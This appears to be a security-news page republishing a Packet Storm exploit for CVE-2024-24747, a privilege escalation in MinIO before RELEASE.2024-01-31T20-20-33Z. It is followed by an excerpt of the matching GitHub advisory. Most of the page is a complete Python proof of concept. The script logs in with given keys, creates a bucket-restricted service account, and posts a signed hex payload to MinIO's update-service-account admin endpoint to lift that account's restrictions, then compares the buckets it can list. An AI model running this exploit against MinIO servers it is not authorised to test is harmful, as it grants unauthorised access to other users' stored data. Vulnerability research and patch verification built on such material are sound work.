Security
Headlines
HeadlinesLatestCVEs

Headline

MinIO Privilege Escalation

MinIO versions prior to 2024-01-31T20-20-33Z suffer from a privilege escalation vulnerability.

Packet Storm
#vulnerability#web#windows#apple#js#git#auth#chrome#webkit
# Exploit Title: MinIO < 2024-01-31T20-20-33Z -  Privilege Escalation# Date: 2024-04-11# Exploit Author: Jenson Zhao# Vendor Homepage: https://min.io/# Software Link: https://github.com/minio/minio/# Version: Up to (excluding) RELEASE.2024-01-31T20-20-33Z# Tested on: Windows 10# CVE : CVE-2024-24747# Required before execution: pip install minio,requestsimport argparseimport datetimeimport tracebackimport urllibfrom xml.dom.minidom import parseStringimport requestsimport jsonimport base64from minio.credentials import Credentialsfrom minio.signer import sign_v4_s3class CVE_2024_24747:    new_buckets = []    old_buckets = []    def __init__(self, host, port, console_port, accesskey, secretkey, verify=False):        self.bucket_names = ['pocpublic', 'pocprivate']        self.new_accesskey = 'miniocvepoc'        self.new_secretkey = 'MINIOcvePOC'        self.headers = {          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36',          'Content-Type': 'application/json',          'Accept': '*/*'        }        self.accesskey = accesskey        self.secretkey = secretkey        self.verify = verify        if verify:            self.url = "https://" + host + ":" + port            self.console_url = "https://" + host + ":" + console_port        else:            self.url = "http://" + host + ":" + port            self.console_url = "http://" + host + ":" + console_port        self.credits = Credentials(            access_key=self.new_accesskey,            secret_key=self.new_secretkey        )        self.login()        try:            self.create_buckets()            self.create_accesskey()            self.old_buckets = self.console_ls()            self.console_exp()            self.new_buckets = self.console_ls()        except:            traceback.print_stack()        finally:            self.delete_accesskey()            self.delete_buckets()            if len(self.new_buckets) > len(self.old_buckets):                print("There is CVE-2024-24747 problem with the minio!")                print("Before the exploit, the buckets are : " + str(self.old_buckets))                print("After the exploit, the buckets are : " + str(self.new_buckets))            else:                print("There is no CVE-2024-24747 problem with the minio!")    def login(self):        url = self.url + "/api/v1/login"        payload = json.dumps({          "accessKey": self.accesskey,          "secretKey": self.secretkey        })        self.session = requests.session()        if self.verify:            self.session.verify = False        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code        # print(status_code)        if status_code == 204:            status_code = 0        else:            print('Login failed! Please check if the input accesskey and secretkey are correct!')            exit(1)    def create_buckets(self):        url = self.url + "/api/v1/buckets"        for name in self.bucket_names:            payload = json.dumps({                "name": name,                "versioning": False,                "locking": False            })            status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code            # print(status_code)            if status_code == 200:                status_code = 0            else:                print("新建 (New)"+name+" bucket 失败 (fail)!")    def delete_buckets(self):        for name in self.bucket_names:            url = self.url + "/api/v1/buckets/" + name            status_code = self.session.request("DELETE", url, headers=self.headers).status_code            # print(status_code)            if status_code == 204:                status_code = 0            else:                print("删除 (delete)"+name+" bucket 失败 (fail)!")    def create_accesskey(self):        url = self.url + "/api/v1/service-account-credentials"        payload = json.dumps({            "policy": "{              \n    \"Version\":\"2012-10-17\",              \n    \"Statement\":[              \n        {              \n            \"Effect\":\"Allow\",              \n            \"Action\":[              \n                \"s3:*\"              \n            ],              \n            \"Resource\":[              \n                \"arn:aws:s3:::pocpublic\",              \n                \"arn:aws:s3:::pocpublic/*\"              \n            ]              \n        }              \n    ]              \n}",            "accessKey": self.new_accesskey,            "secretKey": self.new_secretkey        })        status_code = self.session.request("POST", url, headers=self.headers, data=payload).status_code        # print(status_code)        if status_code == 201:            # print("新建 (New)" + self.new_accesskey + " accessKey 成功 (success)!")            # print(self.new_secretkey)            status_code = 0        else:            print("新建 (New)" + self.new_accesskey + " accessKey 失败 (fail)!")    def delete_accesskey(self):        url = self.url + "/api/v1/service-accounts/" + base64.b64encode(self.new_accesskey.encode("utf-8")).decode('utf-8')        status_code = self.session.request("DELETE", url, headers=self.headers).status_code        # print(status_code)        if status_code == 204:            # print("删除" + self.new_accesskey + " accessKey成功!")            status_code = 0        else:            print("删除 (delete)" + self.new_accesskey + " accessKey 失败 (fail)!")    def headers_gen(self,url,sha256,method):        datetimes = datetime.datetime.utcnow()        datetime_str = datetimes.strftime('%Y%m%dT%H%M%SZ')        urls = urllib.parse.urlparse(url)        headers = {            'X-Amz-Content-Sha256': sha256,            'X-Amz-Date': datetime_str,            'Host': urls.netloc,        }        headers = sign_v4_s3(            method=method,            url=urls,            region='us-east-1',            headers=headers,            credentials=self.credits,            content_sha256=sha256,            date=datetimes,        )        return headers    def console_ls(self):        url = self.console_url + "/"        sha256 = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"        headers = self.headers_gen(url,sha256,'GET')        if self.verify:            response = requests.get(url,headers=headers,verify=False)        else:            response = requests.get(url, headers=headers)        DOMTree = parseString(response.text)        collection = DOMTree.documentElement        buckets = collection.getElementsByTagName("Bucket")        bucket_names = []        for bucket in buckets:            bucket_names.append(bucket.getElementsByTagName("Name")[0].childNodes[0].data)        # print('当前可查看的bucket有:\n' + str(bucket_names))        return bucket_names    def console_exp(self):        url = self.console_url + "/minio/admin/v3/update-service-account?accessKey=" + self.new_accesskey        sha256 = "0f87fd59dff29507f82e189d4f493206ea7f370d0ce97b9cc8c1b7a4e609ec95"        headers = self.headers_gen(url, sha256, 'POST')        hex_string = "e1fd1c29bed167d5cf4986d3f224db2994b4942291dbd443399f249b84c79d9f00b9e0c0c7eed623a8621dee64713a3c8c63e9966ab62fcd982336"        content = bytes.fromhex(hex_string)        if self.verify:            response = requests.post(url,headers=headers,data=content,verify=False)        else:            response = requests.post(url,headers=headers,data=content)        status_code = response.status_code        if status_code == 204:            # print("提升" + self.new_accesskey + " 权限成功!")            status_code = 0        else:            print("提升 (promote)" + self.new_accesskey + " 权限失败 (Permission failed)!")if __name__ == '__main__':    logo = """                            ____    ___   ____   _  _           ____   _  _    _____  _  _    _____   ___ __   __  ___        |___ \  / _ \ |___ \ | || |         |___ \ | || |  |___  || || |  |___  | / __|\ \ / / / _ \ _____   __) || | | |  __) || || |_  _____   __) || || |_    / / | || |_    / / | (__  \ V / |  __/|_____| / __/ | |_| | / __/ |__   _||_____| / __/ |__   _|  / /  |__   _|  / /   \___|  \_/   \___|       |_____| \___/ |_____|   |_|         |_____|   |_|   /_/      |_|   /_/                               """    print(logo)    parser = argparse.ArgumentParser()    parser.add_argument("-H", "--host", required=True, help="Host of the target. example: 127.0.0.1")    parser.add_argument("-a", "--accesskey", required=True, help="Minio AccessKey of the target. example: minioadmin")    parser.add_argument("-s", "--secretkey", required=True, help="Minio SecretKey of the target. example: minioadmin")    parser.add_argument("-c", "--console_port", required=True, help="Minio console port of the target. example: 9000")    parser.add_argument("-p", "--port", required=True, help="Minio port of the target. example: 9090")    parser.add_argument("--https", action='store_true', help="Is MinIO accessed through HTTPS.")    args = parser.parse_args()    CVE_2024_24747(args.host,args.port,args.console_port,args.accesskey,args.secretkey,args.https)

Related news

GHSA-xx8w-mq23-29g4: Minio unsafe default: Access keys inherit `admin` of root user, allowing privilege escalation

### Summary When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. Credit to @xSke for sort of accidentally discovering this. I only understood the implications. ### Details / PoC We spun up the latest version of minio in a docker container and signed in to the admin UI using the minio root user. We created two buckets, `public` and `private` and created an access key called `mycat` and attached the following policy to only allow access to the bucket called `public`. ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*" ], "Resource": [ "arn:aws:s3:::public", "arn:aws:s3:::public/*" ] } ] } ``` We then set an alias in mc: `mcli ali...

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution